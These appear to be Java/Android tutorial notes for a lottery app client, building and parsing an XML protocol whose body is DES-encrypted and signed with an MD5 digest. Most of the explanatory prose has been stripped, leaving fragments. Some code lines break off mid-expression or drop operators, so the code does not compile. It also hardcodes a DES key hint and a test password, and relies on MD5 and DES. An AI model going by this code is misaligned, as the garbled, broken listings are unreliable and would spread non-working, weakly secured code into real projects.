								//	return	imageViews.get(position);

				}

}

1514,13get()
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①md5commons-codec.jar
②commons-lang3-3.0-beta.jar
//	 ommons-lang3-3.0-beta.jar	
//	: ①""②null③"						"
boolean	b1	=	StringUtils.isEmpty("");
boolean	b11	=	StringUtils.isBlank("");
System.out.println("b1:" 	+	b1	+	",b11:"	+	b11);//	true,true
boolean	b2	=	StringUtils.isEmpty("	");
boolean	b21	=	StringUtils.isBlank("	");
System.out.println("b2:" 	+	b2	+	",b21:"	+	b21);//	false,true
boolean	b3	=	StringUtils.isEmpty("				");
boolean	b31	=	StringUtils.isBlank("								");
System.out.println("b3:" 	+	b3	+	",b31:"	+	b31);//	false,true
String	s1	=	"														";
System.out.println("trim:" 	+	StringUtils.trim(s1).length());//	0
System.out.println("strip:" 	+	StringUtils.strip(s1).length());//	0
String	s2	=	"i	love	you	sb!";
//	
System.out.println("" 	+	StringUtils.replace(s2,	"	",	"##"));	//	i##love##you##sb!
String	s3	=	"i	~love	~you	~sb!";
//	
System.out.println("" +StringUtils.replaceEach(s3,	new	String[]
{"	","~"},	new	String[]{"*","&"}));//i*&love*&you*&sb!
//	
String	info	=	"<body>..NUM1..NUM2..</body>";
System.out.println("between	substring:"+StringUtils.substringBetween(info,	"<body>","
</body>"));//between	substring:..NUM1..NUM2..
//	commons-codec.jar	
DigestUtils.md5("haha");
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1
2jar jar
3

1.2xml
HttpClient

()

										



①getpost
②(xmljson)
,java.text,
DecimalFormatSimpleDateFormat

:
①xml
<?xml	version=”1.0”	encoding=”utf-8”?>
<message	version="1.0">
					<header>														
												<agenterid>889931</agenterid>
												<source>ivr</source>
												<compress>DES</compress>
	
												<messengerid>20091113101533000001</messengerid>	
												<timestamp>20091113101533</timestamp>
												<digest>7ec8582632678032d25866bd4bce114f</digest>
												<transactiontype>12002</transactiontype>
												<username>13200000000</username>
					</header>
					<body>
												<elements>
																		<element>
																									<lotteryid>118</lotteryid>
																									<issues>1</issues>



																		</element>
												</elements>	
					</body>
</message>
②

	
③
header:

①agenteridid

ConstantValueid

②sourcexml
androidiphone
IE
sourceIMEIIMSIAPPLIST——

③compressbodyDES



①messengeridxml
20091113101533							000001
																		+		
SimpleDataFormat					DecimalFormat

②timestampmessengerid
	
③digestMD5
MD5++body

①transactiontype

②username
body:
elementsList<Element>
	
				element
	

lotteryid118
	
issues1

④xml
<!---->
<?xml	version='1.0'	encoding='utf-8'	?>
<message	version="1.0">
				<header>
								<messengerid>20120803102102460191</messengerid>			//xml
								<timestamp>20120803102102</timestamp>			//
								<username>13200000000</username>		//
								<transactiontype>12002</transactiontype>		//
								<digest>1b10c6d719c78cdb70c1d357978eff2a</digest>		//bodymd5
								<agenterid>1000002</agenterid>		//id
								<compress>DES</compress>		//body
								<source>ivr</source>	//



				</header>	
				<body>		
								cgYNf1rUkTlcXIFjWR1NnuWWflFq2u/NSQCo9Y6CIoeP/lNAXxRbjHsc1rHY10YiJtdAEy4FJbdw0KqkI8zawTtrMsBViBBPDhLynlepFUd0XFAHNanlsA==
				</body>
</message>
⑤

aagenterid
bDES body
xml	
timestamp++bodymd5
<body>cgYNf1rUkTlcXIFjWR1NnuWWflFq2u/NSQCo9Y6CIoeP/lNAXxRbjHsc1rHY10YiJtdAEy4FJbdw0KqkI8zawTtrMsBViBBPDhLynlepFUd0XFAHNanlsA==
timestamp++bodyMD5MD5
⑥MD5		VS		DES
1MD5
++body<body>…</body>
2DES
bodybody
	

①transactiontype
②element

			
			(12002)
			(10001)
			(14001)
			(11007)
				(12006)
	

lotteryid	string	*	issues
issues	int	*	max=1001
	

nickname	string	015	
mail	string	020	
phone	string	011	



actpassword	string	5-20	
recommentuser	string	*	
	

actpassword	string	5-20	
	

DES<elements></elements>
	

lotteryid	string	*	
issue	string	*	
lotterycode	string	*	^
lotterynumber	string		
lotteryvalue	string		
appnumbers	string		
issuesnumbers	string		
issueflag	int	*		01
bonusstop	int	*	01



1xml

①xml
<?xml	version='1.0'	encoding='utf-8'	?>
<message	version="1.0">
				<header>
								<messengerid>2009111310153300000001</messengerid>			//xml
								<timestamp>20091113101550</timestamp>		//
								<transactiontype>12002</transactiontype>		//
								<digest>7ec8582632678032d25866bd4bce114f</digest>		//bodymd5
								<compress>DES</compress>		//bodybody
								<agenterid>800001</agenterid>		//id
				</header>
				<body>
								<oelement>
												<errorcode>0</errorcode>			//0
												<errormsg></errormsg>	//
								</oelement>
								<elements>
												<element>
																				<lotteryid>118</lotteryid>			//id
																				<lotteryname></lotteryname>	//id
																				<issue>2013070</issue>	//
																				<lasttime>86400</lasttime>	//
												</element>
								</elements>
				</body>
</message>
②xml
header

messengeridxml
transactiontype
compressbody
agenteridid



timestampxml
digestmd5++body

body
oelement
								errorcode0
								errormsg
	
element
							issue
							lasttime:

③xmlxml
<!---->
<?xml	version="1.0"	encoding="utf-8"?>
<message	version="1.0">
				<header>
								<messengerid>20091113101533000001</messengerid>
								<timestamp>20091113101533</timestamp>
								<transactiontype>12002</transactiontype>
								<digest>041a1f10e7cd9fe5531a61f8bdef5faa</digest>
								<compress>DES</compress>
								<agenterid>1000002</agenterid>
								</header>
				<body>		HmtGfqfbbCvzJvIvv+HjhHmbzgj+JRAutc2wOfw9+rsKAEKJX79jf2chPUk9XZTaMYphue6K/FeOZ3BNFjdnPsPvvL/1/vA75iGWiU8zKDYa9/jKDwz3Rbe1X6m3hamZPMLXz7FSXnD/Ur/BTZqfmta+0yJuMPGcWQEFjVnO/10amdeXoQDJDjP9gmOWb7r7WiMcXRYTSTmH1F8a5a1tVXQnK6WU4fmDkCU1Yq+RAowxwAH9VzvZiOP8ISyCGHpYPCADWcvpE5RtH0Le674kW29XIisxTJvcVhuDDamnMa0=
				</body>
</message>
④

								issue
								lasttime
								lotteryname
								lotteryid

								actvalue	integer		>=0					
						



								

								accountname	string	32	
								accountid	string	32	ID
	
								accounvalues	string	*	
								investvalues			
								cashvalues			

								serialid	string	*	
								tradevalue	string	*	
								actvalue	int	*	



//	
//	5100
//	
//	
//	5*0.5
//	5*0.5
//	

//	
//	

1SimpleDateFormatDecimalFormatjava.text
2Ctrl+T

1leaf-Leaf.java
①
//<agenterid>889931</agenterid>
②
package	cn.zengfansheng.lottery.net.protocol;

	

import	java.io.IOException;

	

import	org.xmlpull.v1.XmlSerializer;

	

/**

*	1

*	@author	hacket

*/

public	class	Leaf	{

	

				/*

								serializer.startTag(null,	"agenterid");

								serializer.text("889931");

								serializer.endTag(null,	"agenterid");

				*/

	

				/**



					*	

					*/

				private	String	tagName;

				/**

					*	

					*/

				private	String	tagValue;

	

				//	1tagNametagNametagValue

				//	private	Leaf(){}

				public	Leaf(String	tagName)	{

								this.tagName	=	tagName;

				}

				public	Leaf(String	tagName,	String	tagValue)	{

								super();

								this.tagName	=	tagName;

								this.tagValue	=	tagValue;

				}

	

				//2setTagNametagName

				public	String	getTagValue()	{

								return	tagValue;

				}

				public	void	setTagValue(String	tagValue)	{

								this.tagValue	=	tagValue;

				}

				public	String	getTagName()	{

								return	tagName;

				}

	

				/**

					*	3

					*/

				public	void	serializer(XmlSerializer	serializer)	{

								try	{

	

												serializer.startTag(null,	tagName);

	

												//	tagValuenull

												if	(tagValue	==	null)	{

																tagValue	=	"";

												}

												serializer.text(tagValue);

												serializer.endTag(null,	tagName);

	

								}	catch	(IllegalArgumentException	e)	{

												e.printStackTrace();

								}	catch	(IllegalStateException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

				}

}

2header



①
<header>														
				<agenterid>889931</agenterid>
				<source>ivr</source>
				<compress>DES</compress>

				<messengerid>20091113101533000001</messengerid>	
				<timestamp>20091113101533</timestamp>
				<digest>7ec8582632678032d25866bd4bce114f</digest>

				<transactiontype>12002</transactiontype>
				<username>13200000000</username>
</header>
②
a88Leaf
btagValuetagValue
c
package	cn.zengfansheng.lottery.net.protocol;

	

import	java.io.IOException;

import	java.text.DecimalFormat;

import	java.text.SimpleDateFormat;

import	java.util.Date;

import	java.util.Locale;

import	java.util.Random;

	

import	org.apache.commons.codec.digest.DigestUtils;

import	org.xmlpull.v1.XmlSerializer;

	

import	cn.zengfansheng.lottery.ConstantValue;

	

/**

*	2

*

*	@author	hacket

*/

public	class	Header	{

	

				//	

				private	Leaf	agenterid	=	new	Leaf("agenterid",	ConstantValue.AGENTERID);

				private	Leaf	source	=	new	Leaf("source",	ConstantValue.SOURCE);

				private	Leaf	compress	=	new	Leaf("compress",	ConstantValue.COMPRESS);

	

				//	

				private	Leaf	messengerid	=	new	Leaf("messengerid");

	

				private	Leaf	timestamp	=	new	Leaf("timestamp");



				private	Leaf	digest	=	new	Leaf("digest");

	

				//	

				private	Leaf	transactiontype	=	new	Leaf("transactiontype");

				private	Leaf	username	=	new	Leaf("username");

	

				public	Leaf	getTransactiontype()	{

								return	transactiontype;

				}

				public	Leaf	getUsername()	{

								return	username;

				}

				//	8

					/*<header>													

									<agenterid>889931</agenterid>

									<source>ivr</source>

									<compress>DES</compress>

	

									<messengerid>20091113101533000001</messengerid>

									<timestamp>20091113101533</timestamp>

									<digest>7ec8582632678032d25866bd4bce114f</digest>

	

									<transactiontype>12002</transactiontype>

									<username>13200000000</username>

					</header>*/

				/**

					*	

					*	@param	serializer

					*	@param	bodyInfo		bodyDES

					*/

				public	void	serializer(XmlSerializer	serializer,String	bodyInfo)	{

								try	{

												//	header

												serializer.startTag(null,	"header");

	

												//	1agenterid

												agenterid.serializer(serializer);

												//	2source

												source.serializer(serializer);

												//	3compress

												compress.serializer(serializer);

	

												//	

												SimpleDateFormat	sdf	=	new

SimpleDateFormat("yyyyMMddHHmmss",Locale.CHINA);

												String	time	=	sdf.format(new	Date());

	

												//	TODO	:6SimpleDateFormat

												DecimalFormat	df	=	new	DecimalFormat("000000");

												Random	random	=	new	Random();

												int	randomNum	=	random.nextInt(99999)	+	1;

												String	randomValue	=	df.format(randomNum);

	

												//	4messengerid	=		+	

												messengerid.setTagValue(time	+	randomValue);



												messengerid.serializer(serializer);

	

												//	5timestamp

												timestamp.setTagValue(time);

												timestamp.serializer(serializer);

	

												//	TODO	:6++bodymd5(Bodyheader)

												String	agentPass	=	ConstantValue.AGENTER_PASSWORD;

												String	md5Value	=	DigestUtils.md5Hex(time	+	agentPass	+

bodyInfo);//	Md5

												digest.setTagValue(md5Value);

												digest.serializer(serializer);

	

												//	7transactiontypeusername

												//	leaf

												transactiontype.serializer(serializer);

												username.serializer(serializer);

	

												serializer.endTag(null,	"header");

	

								}	catch	(IllegalArgumentException	e)	{

												e.printStackTrace();

								}	catch	(IllegalStateException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

				}

}

Element
① Element
②	xml
<element>
				<lotteryid>118</lotteryid>
				<issues>1</issues>
</element>
③Element.java
package	cn.zengfansheng.lottery.net.protocol;
import	org.xmlpull.v1.XmlSerializer;
/**
	*	3Element(35)
	*	@author	hacket
	*/
public	abstract	class	Element	{
				//	
				
				//
				/**



					*	1 -
					*	@param	serializer
					*/
				public	abstract	void	serializer(XmlSerializer	serializer);
				
				//	
				/**
					*	2
					*	@return	
					*/
				public	abstract	String	getTransactiontype();
}
④	CurrentIssueElement.java
package	cn.zengfansheng.lottery.net.protocol.element;

import	java.io.IOException;

import	org.xmlpull.v1.XmlSerializer;

import	cn.zengfansheng.lottery.net.protocol.Element;

import	cn.zengfansheng.lottery.net.protocol.Leaf;

/**

	*	1

	*	@author	hacket

	*/

public	class	CurrentIssueElement	extends	Element	{

				//	

				private	Leaf	lotteryid	=	new	Leaf("lotteryid");

				//	max=1001

				private	Leaf	issues	=	new	Leaf("issues");

				@Override

				public	void	serializer(XmlSerializer	serializer)	{

								/*

										<element>

													<lotteryid>118</lotteryid>

													<issues>1</issues>

										</element>

									*/

								

								try	{

												serializer.startTag(null,	"element");

												String	tagValue	=	"118";

												lotteryid.setTagValue(tagValue);

												lotteryid.serializer(serializer);

												issues.setTagValue("1");



												issues.serializer(serializer);

												serializer.endTag(null,	"element");

								}	catch	(IllegalArgumentException	e)	{

												e.printStackTrace();

								}	catch	(IllegalStateException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

				}

				@Override

				public	String	getTransactiontype()	{

								return	"12002";//	(12002)

				}

}

⑤	 UserLoginElement.java

package	cn.zengfansheng.lottery.net.protocol.element;

import	java.io.IOException;

import	org.xmlpull.v1.XmlSerializer;

import	cn.zengfansheng.lottery.net.protocol.Element;

import	cn.zengfansheng.lottery.net.protocol.Leaf;

/**

	*	2(14001)

	*	@author	hacket

	*/

public	class	UserLoginElement	extends	Element	{

				//	

				private	Leaf	actpassword	=	new	Leaf("actpassword");

				@Override

				public	void	serializer(XmlSerializer	serializer)	{

								try	{

												//	

												//	actpassword	string	5-20	

												

												serializer.startTag(null,	"element");

												

												actpassword.setTagValue("123456");

												actpassword.serializer(serializer);

												serializer.endTag(null,	"element");

												

								}	catch	(IllegalArgumentException	e)	{

												e.printStackTrace();

								}	catch	(IllegalStateException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

				}



				@Override

				public	String	getTransactiontype()	{

								return	"14001";

				}

}

elementsbody
①elementselementbodyList<Element>elements
②xml
	<body>
				<elements>
										<element>
																	<lotteryid>118</lotteryid>
																	<issues>1</issues>
										</element>
				</elements>	
</body>		
③	bodyBody.java	
package	cn.zengfansheng.lottery.net.protocol;

	

import	java.io.IOException;

import	java.io.StringWriter;

import	java.io.Writer;

import	java.util.ArrayList;

import	java.util.List;

	

import	org.apache.commons.lang3.StringUtils;

import	org.xmlpull.v1.XmlSerializer;

	

import	android.util.Xml;

import	cn.zengfansheng.lottery.ConstantValue;

import	cn.zengfansheng.lottery.util.DES;

	

/**

*	3body-

*	@author	hacket

*/

public	class	Body	{

	

				//	<elements></elements>

				private	List<Element>	elements	=	new	ArrayList<Element>();

	

				/**

					*	1body

					*	@param	serializer

					*/

				public	void	serializer(XmlSerializer	serializer)	{

								/*<elements>



												<element>

																			<lotteryid>118</lotteryid>

																			<issues>1</issues>

												</element>

								</elements>	*/

								try	{

	

												serializer.startTag(null,	"body");

												serializer.startTag(null,	"elements");

	

												//element

												for	(Element	element	:	elements)	{

																element.serializer(serializer);

												}

	

												serializer.endTag(null,	"elements");

												serializer.endTag(null,	"body");

	

								}	catch	(IllegalArgumentException	e)	{

												e.printStackTrace();

								}	catch	(IllegalStateException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

				}

	

				/**

					*	2List

					*	@return

					*/

				public	List<Element>	getElements()	{

								return	elements;

				}

	

				/**

					*	3body

					*	bodyxmlSerializer

					*	@return

					*/

				public	String	getWholeBodyInfo()	{

	

								XmlSerializer	serializer	=	Xml.newSerializer();

	

								try	{

												Writer	writer	=	new	StringWriter();

												serializer.setOutput(writer);

	

												this.serializer(serializer);

	

												serializer.flush();//	

												//	serializer.endDocument();//	output

	

												return	writer.toString();

	

								}	catch	(IllegalArgumentException	e)	{



												e.printStackTrace();

								}	catch	(IllegalStateException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

								return	"";

				}

				/**

					*	4DESbodybodybody

					*	@return

					*/

				public	String	getDesBodyInfo()	{

	

								String	body	=	this.getWholeBodyInfo();

	

								//desbody

								String	elementStr	=	StringUtils.substringBetween(body,	"<body>",	"

</body>");

	

								DES	des	=	new	DES();

	

								//des.authcode("wewweewewew=","DECODE","0102030405060708")

								return	des.authcode(elementStr,	"DECODE",

ConstantValue.DES_PASSWORD);

								//	DES

								//	2,

								//	①DES
								//	②
				}

}

message	
①
//	
				//	①body
				//	bodybody
				//	②transactiontype
				//	Element
				//	③
				//	MessageElement xml
				//	④body
				//	bodybody 		
②xmlmessage
<?xml	version=”1.0”	encoding=”utf-8”?>
<message	version="1.0">
				<header>														
								<agenterid>889931</agenterid>
								<source>ivr</source>



								<compress>DES</compress>
								<messengerid>20091113101533000001</messengerid>	
								<timestamp>20091113101533</timestamp>
								<digest>7ec8582632678032d25866bd4bce114f</digest>
								<transactiontype>12002</transactiontype>
								<username>13200000000</username>
				</header>
				<body>
								<elements>
														<element>
																					<lotteryid>118</lotteryid>
																					<issues>1</issues>
														</element>
								</elements>	
				</body>
</message>		
③	message-xml
package	cn.zengfansheng.lottery.net.protocol;

	

import	java.io.IOException;

import	java.io.StringWriter;

import	java.io.Writer;

	

import	org.xmlpull.v1.XmlSerializer;

	

import	android.util.Xml;

	

/**

*	4xml-message

*	@author	hacket

*/

public	class	Message	{

	

				//	header

				private	Header	header	=	new	Header();

				//	body

				private	Body	body	=	new	Body();

	

				/**

					*	1message

					*	@param	serializer

					*/

				public	void	serializer(XmlSerializer	serializer)	{

	

								try	{

												//	message

												serializer.startTag(null,	"message");

												serializer.attribute(null,	"version",	"1.0");

	

												//	TODO	1headerbodydigestmd5



												header.serializer(serializer,	body.getWholeBodyInfo());

	

												//	2bodyDESbody

												//	body.serializer(serializer);

												//	bodydesxmlbody

												serializer.startTag(null,	"body");

												serializer.text(body.getDesBodyInfo());//	body

												serializer.endTag(null,	"body");

	

												serializer.endTag(null,	"message");

	

								}	catch	(IllegalArgumentException	e)	{

												e.printStackTrace();

								}	catch	(IllegalStateException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

				}

	

				/**

					*	2xml,

					*	@param	element	xmlElement

					*	@return

					*/

				public	String	getXml(Element	element)	{

	

								//	elementnullelementxml

								if	(element	==	null)	{

												throw	new	IllegalArgumentException("element	is	not	null!!!" );

								}

	

								//	bodyelement

								body.getElements().add(element);

								//	element

							

header.getTransactiontype().setTagValue(element.getTransactiontype());

	

								try	{

												XmlSerializer	serializer	=	Xml.newSerializer();

	

												Writer	writer	=	new	StringWriter();//	ctrl+t

												serializer.setOutput(writer);

												serializer.startDocument("utf-8",	true);

	

												this.serializer(serializer);

	

												serializer.endDocument();

	

												return	writer.toString();

								}	catch	(IllegalArgumentException	e)	{

												e.printStackTrace();

								}	catch	(IllegalStateException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();



								}

								return	null;

				}

	

				/**

					*	3header

					*	@return

					*/

				public	Header	getHeader()	{

								return	header;

				}

	

				/**

					*	4body

					*	@return

					*/

				public	Body	getBody()	{

								return	body;

				}

}

MessagegetXml()xml
Message	message	=	new	Message();
CurrentIssueElement	currentIssueElement	=	new	CurrentIssueElement();
String	xml	=	message.getXml(currentIssueElement);//	 xml



-

①
②
③	 UserLoginElementxml
④xml
⑥xml
⑦xml
md5
timestamp()+()+<body>......</body>(body)
⑧md5xmldigest
⑨ body

1
package	cn.zengfansheng.lottery.engine;

	

import	java.io.IOException;

import	java.io.InputStream;

import	java.io.StringReader;

	

import	org.apache.commons.codec.digest.DigestUtils;

import	org.apache.commons.lang3.StringUtils;

import	org.xmlpull.v1.XmlPullParser;

import	org.xmlpull.v1.XmlPullParserException;

	

import	android.util.Xml;

import	cn.zengfansheng.lottery.ConstantValue;

import	cn.zengfansheng.lottery.domain.User;

import	cn.zengfansheng.lottery.net.protocol.HttpClientAdapter;

import	cn.zengfansheng.lottery.net.protocol.Message;

import	cn.zengfansheng.lottery.net.protocol.element.UserLoginElement;

import	cn.zengfansheng.lottery.util.DES;

	

/**

*	

*	@author	hacket

*/

public	class	UserService	{

	

				//	1UserLoginElement

				//	2

				//	3Message.getXml(element)

				//	4xml

				//	5



	

				public	Message	login(User	user)	{

	

								//TODO	:	1UserLoginElement

								UserLoginElement	userLoginElement	=	new	UserLoginElement();

								userLoginElement.getActpassword().setTagValue(user.getPassword());

	

								//TODO	:	2

								Message	message	=	new	Message();

								message.getHeader().getUsername().setTagValue(user.getUsername());

	

								//TODO	:	3Message.getXml(element)xml

								String	userLoginXml	=	message.getXml(userLoginElement);

	

								//TODO	:	4xml

								if	(StringUtils.isNotBlank(userLoginXml))	{

	

												HttpClientAdapter	clientAdapter	=	new	HttpClientAdapter();

												InputStream	in	=	clientAdapter.sendPost(ConstantValue.URL_LOTTERY,userLoginXml);

	

												Message	msg	=	new	Message();//	

												if	(in!=null)	{//xml

	

																//TODO	:	5timestampbody	digestmd5

																XmlPullParser	parser	=	Xml.newPullParser();

	

																try	{

																				parser.setInput(in,	"utf-8");

	

																				int	eventType	=	parser.getEventType();

																				while	(XmlPullParser.END_DOCUMENT	!=	eventType)	{

																								String	name	=	"";

																								switch	(eventType)	{

																								case	XmlPullParser.START_TAG:

																												name	=	parser.getName();

																												if	("timestamp".equalsIgnoreCase(name))	{//	

																																String	timestamp	=	parser.nextText();

																																msg.getHeader().getTimestamp().setTagValue(timestamp);

																												}else	if	("body".equalsIgnoreCase(name))	{//body

																																String	body	=	parser.nextText();

																																msg.getBody().setFirstDecodeBodyInfo(body);

																												}else	if	("digest".equalsIgnoreCase(name))	{//md5

																																String	digest	=	parser.nextText();

																																msg.getHeader().getDigest().setTagValue(digest);

																												}

																												break;

																								case	XmlPullParser.END_TAG:

																												break;

																								}

																								eventType	=	parser.next();

																				}

	

																}	catch	(XmlPullParserException	e)	{

																				e.printStackTrace();

																}	catch	(IOException	e)	{



																				e.printStackTrace();

																}

												}

	

												//	6MD5	timestamp++body

												DES	des	=	new	DES();//des.authcode("d8fPhfd9JkW99p8aqhtVIA==","ENCODE","0102030405060708")

	

												//	desbodydes

												String	wholeBody	=		"

<body>"+des.authcode(msg.getBody().getFirstDecodeBodyInfo(),"ENCODE",ConstantValue.DES_PASSWORD)

	

												//	md5(++body)

												String	md5Info	=	msg.getHeader().getTimestamp().getTagValue().trim()

wholeBody.trim();

	

												String	md5Hex	=	DigestUtils.md5Hex(md5Info).trim();

												if	(msg.getHeader().getDigest().getTagValue().trim().equals(md5Hex))	{

	

																//	7body	oelementerrorcodeerrormsg

																XmlPullParser	parser	=	Xml.newPullParser();

																Message	resultMsg	=	new	Message();

																try	{

																				parser.setInput(new	StringReader(wholeBody));

	

																				int	eventType	=	parser.getEventType();

																				while	(XmlPullParser.END_DOCUMENT	!=	eventType)	{

																								String	name	=	"";

																								switch	(eventType)	{

																								case	XmlPullParser.START_TAG:

																												name	=	parser.getName();

																												if	("errorcode".equalsIgnoreCase(name))	{//	

																																int	errorcode	=	Integer.parseInt(parser.nextText());

																																resultMsg.getBody().getOlement().setErrorcode(errorcode	);

																												}	else	if	("errormsg".equalsIgnoreCase(name))	{//	

																																String	errormsg	=	parser.nextText();

																																resultMsg.getBody().getOlement().setErrormsg(errormsg	);

																												}

																												break;

																								case	XmlPullParser.END_TAG:

																												break;

																								}

																								eventType	=	parser.next();

																				}

																}	catch	(XmlPullParserException	e)	{

																				e.printStackTrace();

																}	catch	(IOException	e)	{

																				e.printStackTrace();

																}

																return	resultMsg;

												}

								}

								return	null;

				}

}



①BasicService.java	
package	cn.zengfansheng.lottery.engine;
import	java.io.IOException;
import	java.io.InputStream;
import	org.apache.commons.codec.digest.DigestUtils;
import	org.xmlpull.v1.XmlPullParser;
import	org.xmlpull.v1.XmlPullParserException;
import	android.util.Xml;
import	cn.zengfansheng.lottery.ConstantValue;
import	cn.zengfansheng.lottery.domain.User;
import	cn.zengfansheng.lottery.net.protocol.Element;
import	cn.zengfansheng.lottery.net.protocol.HttpClientAdapter;
import	cn.zengfansheng.lottery.net.protocol.Message;
import	cn.zengfansheng.lottery.util.DES;
public	abstract	class	BasicService	{
				/**
					*	TODO	Md5	()
					*	@param	user	
					*	@param	element	
					*	@return	md5Message	
					*/
				public	Message	getResult(User	user,	Element	element)	{
								
								//xml
								String	xml	=	getXml(user,	element);
								
								//xml
								InputStream	in	=	sendRequest(xml);
								
								//md5
								if	(in!=null)	{
												Message	message	=	firstParser(in);
												if	(message	!=	null)	{
																//	md5
																if	(checkMd5(message))	{
																				return	message;
																}
												}
								}
								return	null;



				}
				
				
				//	3 xml
				/**
					*	 xml
					*	@param	user	
					*	@param	element	
					*	@return	 xml
					*/
				protected	String	getXml(User	user,	Element	element)	{
								Message	message	=	new	Message();
								if	(user	!=	null)	{
												message.getHeader().getUsername().setTagValue(user.getUsername());
								}
								return	message.getXml(element);
				}
				//	4 xml
				/**
					*		
					*	@param	xml	 xml
					*	@return	InputStream
					*/
				protected	InputStream	sendRequest(String	xml)	{
								
								HttpClientAdapter	clientAdapter	=	new	HttpClientAdapter();
								InputStream	in	=	clientAdapter.sendPost(ConstantValue.URL_LOTTERY,xml);	
								return	in;
				}
				
				/**
					*	5md5
					*	@param	in	 xml
					*	@return	
					*/
				protected	Message	firstParser(InputStream	in)	{
								Message	msg	=	new	Message();//	
								if	(in!=null)	{//xml
												
												//TODO	:	5 timestampbody	digestmd5
												XmlPullParser	parser	=	Xml.newPullParser();
												try	{



																parser.setInput(in,	"utf-8");
																int	eventType	=	parser.getEventType();
																while	(XmlPullParser.END_DOCUMENT	!=	eventType)	{
																				String	name	=	"";
																				switch	(eventType)	{
																				case	XmlPullParser.START_TAG:
																								name	=	parser.getName();
																								if	("timestamp".equalsIgnoreCase(name))	{//	
																												String	timestamp	=	parser.nextText();
																												msg.getHeader().getTimestamp().setTagValue(timestamp);
																								}else	if	("body".equalsIgnoreCase(name))	{//body
																												String	body	=	parser.nextText();
																												msg.getBody().setFirstDecodeBodyInfo(body);
																								}else	if	("digest".equalsIgnoreCase(name))	{//md5
																												String	digest	=	parser.nextText();
																												msg.getHeader().getDigest().setTagValue(digest);
																								}
																								break;
																				case	XmlPullParser.END_TAG:
																								break;
																				}
																				eventType	=	parser.next();
																}
																return	msg;
												}	catch	(XmlPullParserException	e)	{
																e.printStackTrace();
												}	catch	(IOException	e)	{
																e.printStackTrace();
												}
								}
								return	null;
				}
				
				//	MD5	 timestamp++body
				/**
					*	6md5
					*	@param	msg	message
					*	@return	true
					*/
				protected	boolean	checkMd5(Message	msg)	{
								DES	des	=	new	DES();//des.authcode("d8fPhfd9JkW99p8aqhtVIA==","ENCODE","0102030405060708")
								//	 desbody des



								String	wholeBodyInfo	=		"
<body>"+des.authcode(msg.getBody().getFirstDecodeBodyInfo(),"ENCODE",ConstantValue.
								
								//	md5(++body)
								String	md5Info	=	msg.getHeader().getTimestamp().getTagValue().trim()+	ConstantValue.
								String	md5Hex	=	DigestUtils.md5Hex(md5Info).trim();
								if	(msg.getHeader().getDigest().getTagValue().trim().equals(md5Hex))	{
												
												msg.getBody().setEncodeBodyInfo(wholeBodyInfo);
												return	true;
								}
								return	false;
				}
}
②	UserService.java
package	cn.zengfansheng.lottery.engine;

	

import	java.io.IOException;

import	java.io.InputStream;

import	java.io.StringReader;

	

import	org.apache.commons.codec.digest.DigestUtils;

import	org.apache.commons.lang3.StringUtils;

import	org.xmlpull.v1.XmlPullParser;

import	org.xmlpull.v1.XmlPullParserException;

	

import	android.util.Xml;

import	cn.zengfansheng.lottery.ConstantValue;

import	cn.zengfansheng.lottery.domain.User;

import	cn.zengfansheng.lottery.net.protocol.HttpClientAdapter;

import	cn.zengfansheng.lottery.net.protocol.Message;

import	cn.zengfansheng.lottery.net.protocol.element.UserLoginElement;

import	cn.zengfansheng.lottery.util.DES;

	

/**

*	

*	@author	hacket

*/

public	class	UserService	extends	BasicService{

	

	

				/**

					*	

					*	@param	user		bean

					*	@return		Message

					*/

				public	Message	login(User	user)	{

	

								//	TODO	:	1UserLoginElement

								UserLoginElement	userLoginElement	=	new	UserLoginElement();

								userLoginElement.getActpassword().setTagValue(user.getPassword());



	

								//	TODO	:	23456

								Message	result	=	getResult(user,	userLoginElement);

	

								//	7body	oelementerrorcodeerrormsg

								XmlPullParser	parser	=	Xml.newPullParser();

								Message	resultMsg	=	new	Message();

								try	{

												parser.setInput(new	StringReader(result.getBody().getEncodeBodyInfo()));

	

												int	eventType	=	parser.getEventType();

												while	(XmlPullParser.END_DOCUMENT	!=	eventType)	{

																String	name	=	"";

																switch	(eventType)	{

																case	XmlPullParser.START_TAG:

																				name	=	parser.getName();

																				if	("errorcode".equalsIgnoreCase(name))	{//	

																								int	errorcode	=	Integer.parseInt(parser.nextText());

																								resultMsg.getBody().getOlement().setErrorcode(errorcode	);

																				}	else	if	("errormsg".equalsIgnoreCase(name))	{//	

																								String	errormsg	=	parser.nextText();

																								resultMsg.getBody().getOlement().setErrormsg(errormsg	);

																				}

																				break;

																case	XmlPullParser.END_TAG:

																				break;

																}

																eventType	=	parser.next();

												}

												return	result;

								}	catch	(XmlPullParserException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

								return	null;

				}

}

md5
windowsandroid



-

①source	folderconfig
②config.properties
	=		
UserService	=	cn.zengfansheng.lottery.engine.impl.UserServiceImpl
③UserServicelogin()
UserServiceImplUserService
④

①config.properties
#=
UserService=cn.zengfansheng.lottery.engine.impl.UserServiceImpler
②UserService.java
package	cn.zengfansheng.lottery.engine;
import	cn.zengfansheng.lottery.domain.User;
import	cn.zengfansheng.lottery.net.protocol.Message;
public	interface	UserService	{
				/**
					*	
					*	@param	user	bean
					*	@return	Message
					*/
				public	abstract	Message	login(User	user);
}
③UserServiceImpl.java
package	cn.zengfansheng.lottery.engine.impl;
import	java.io.IOException;
import	java.io.InputStream;
import	java.io.StringReader;
import	org.apache.commons.codec.digest.DigestUtils;
import	org.apache.commons.lang3.StringUtils;
import	org.xmlpull.v1.XmlPullParser;
import	org.xmlpull.v1.XmlPullParserException;
import	android.util.Xml;
import	cn.zengfansheng.lottery.ConstantValue;
import	cn.zengfansheng.lottery.domain.User;
import	cn.zengfansheng.lottery.engine.BasicService;



import	cn.zengfansheng.lottery.engine.UserService;
import	cn.zengfansheng.lottery.net.protocol.HttpClientAdapter;
import	cn.zengfansheng.lottery.net.protocol.Message;
